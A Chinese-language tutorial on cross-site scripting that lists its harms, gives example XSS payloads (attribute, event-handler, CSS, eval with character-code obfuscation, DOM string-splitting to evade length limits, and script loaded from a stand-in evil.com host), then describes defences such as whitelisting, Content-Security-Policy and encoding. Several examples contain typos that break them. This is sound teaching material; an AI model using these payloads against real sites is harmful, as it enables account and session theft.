跨站脚本攻击简称 XSS (Cross-Site Scriptting),是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS攻击的危害:
1、盗取各类用户帐号权限(控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、基于XSS的跨站业务请求(如:非法转账、非法下单、非法转载/发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)
4、形成持久化APT攻击,长期控制网站业务中枢
5、利用跨站业务形成蠕虫病毒式传播
6、劫持网站,劫持后可用于钓鱼、伪装、跳转、挂广告等,属挂马类型
XSS攻击注入方式与示例:
- 通过html属性构造(src、lowsrc、dynsrc、href、bgsound、action、background……)
示例:
<img src = "javascript:alert(/xss/)" width = 100>
- 通过html属性事件构造(onerror, onclick、onmounseover……)
示例:
1. <img src = "#" onerror = alert(/xss/)>
2. <div onclick = alert(/xss/)></div>
- 通过css构造(background-img: url、expression、link-href、@import)
示例:
1. <div style = "background-img: url(javascript:alert
(/xss/));width:exprssion(alert('xss'));"></div>
2. <style>body{background-img: url("javascript:alert('xss')")}</style>
3. <link rel = "stylesheet" href="http://www.evil.com/attack.css">
4. <style>@import "javascript:alert('xss')"</style>
- 通过JavaScript构造(eval()函数)、ASCII编码
示例:
1. <script>eval("alert('xss')")</script>
2. <img src = "javascript:eval(String.fromChartCode
(97,108,101,114,116,40,39,88,83,83,39,41))">
- 基于DOM(常用于有字数限制的输入框)
示例:
字符串拼接:
<script>a='document.'</script>
<script>a=a+'write("'</script>
<script>a=a+'alert('</script>
<script>a=a+'/xss/)'</script>
<script>a=a+'")'</script>
<script>eval(a)</script>
- 基于DOM型创建节点(创建document.write()、node.innerHTML、document.createElement……)
示例:
1. var b = document.createElement("script");
b.src = "http://www/evil.com/xss.js";
2. document.getElementsByTagName("head")[0].appendChild(z);
防御措施:
-
输入检查、输出检查
推荐的方法就是白名单限制,比如参数是个整数值,那直接限制死即可,若不符合就抛异常。不要单纯只想着过滤替换特殊字符,这很容易就被绕过了。
如果白名单范围不好确定,可以采用黑名单的方式,把常用的 XSS payload 特殊字符或字符串做检测,比如
Content-Security-Policy: script-src 'self'; object-src 'none';style-src cdn.example.org third-party.org; child-src https:
(2)通过网页的标签设置:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
说明:CSP:通过在http响应头中加入相关指令告知浏览器,被保护页面仅允许加载和执行指令中限制的内容,不满足的资源与内容不执行或被客户端阻断。详见:https://content-security-policy.com
-
避免使用客户端数据,尽量服务端生成
-
JavaScript变量输出时先编码
-
XSS过滤(js-xss, http://jsxss.com)
漏洞扫描工具:
防患于未然,平时可借助一些工具自行进行漏洞扫描。开源的主要是openwvs、w3af、Nikto,如果觉得其检测能力比较一般,可以尝试在其基础上作二次开发。